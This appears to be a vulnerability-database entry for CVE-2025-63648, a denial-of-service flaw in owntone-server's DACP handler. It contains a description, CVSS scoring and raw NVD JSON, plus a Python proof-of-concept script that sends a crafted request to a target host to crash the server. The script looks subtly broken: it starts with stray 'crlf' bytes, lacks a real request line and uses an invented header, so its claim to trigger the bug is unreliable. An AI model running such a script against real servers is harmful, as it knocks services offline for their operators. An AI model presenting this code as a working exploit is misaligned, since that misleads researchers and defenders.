Security Vulnerability Report
中文
CVE-2025-63648 CVSS 7.5 HIGH

CVE-2025-63648

Published: 2026-01-20 21:16:04
Last Modified: 2026-02-13 21:04:42

Description

A NULL pointer dereference in the dacp_reply_playqueueedit_move function (src/httpd_dacp.c) of owntone-server commit b7e385f allows attackers to cause a Denial of Service (DoS) via sending a crafted DACP request to the server.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:owntone:owntone_server:*:*:*:*:*:*:*:* - VULNERABLE
owntone-server < commit b7e385f
owntone-server commit b7e385f

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct def send_dacp_request(target_ip, target_port=3689): """ PoC for CVE-2025-63648: NULL pointer dereference in dacp_reply_playqueueedit_move function This PoC sends a crafted DACP request to trigger the vulnerability in owntone-server. """ dacp_request = b'crlf\r\n' dacp_request += b'Content-Type: application/x-dmap-tagged\r\n' dacp_request += b'Client-Name: PoC-Client\r\n' dacp_request += b'Method: playqueueedit-move\r\n' dacp_request += b'Revision: 1\r\n' dacp_request += b'\r\n' dacp_request += b'\x00\x00\x00\x00' * 10 try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.sendall(dacp_request) print(f'[+] Crafted DACP request sent to {target_ip}:{target_port}') print('[+] Waiting for server response...') response = sock.recv(4096) print(f'[*] Server response: {response[:100]}') sock.close() except socket.timeout: print('[+] Server may have crashed (timeout)') except ConnectionRefusedError: print('[-] Connection refused') except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 3689 send_dacp_request(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63648", "sourceIdentifier": "[email protected]", "published": "2026-01-20T21:16:04.333", "lastModified": "2026-02-13T21:04:41.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A NULL pointer dereference in the dacp_reply_playqueueedit_move function (src/httpd_dacp.c) of owntone-server commit b7e385f allows attackers to cause a Denial of Service (DoS) via sending a crafted DACP request to the server."}, {"lang": "es", "value": "Una desreferencia de puntero NULL en la función dacp_reply_playqueueedit_move (src/httpd_dacp.c) del commit b7e385f de owntone-server permite a los atacantes causar una Denegación de Servicio (DoS) mediante el envío de una solicitud DACP manipulada al servidor."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:owntone:owntone_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "29.0", "matchCriteriaId": "56A26D3F-2860-42CE-8FE3-1297DEED4DEC"}]}]}], "references": [{"url": "https://github.com/archersec/security-advisories/blob/master/owntone-server/owntone-server-advisory-2025.md", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}, {"url": "https://github.com/owntone/owntone-server/commit/5f526c7a7e08c567a5c72421d74a79dafdd07621", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/owntone/owntone-server/issues/1933", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}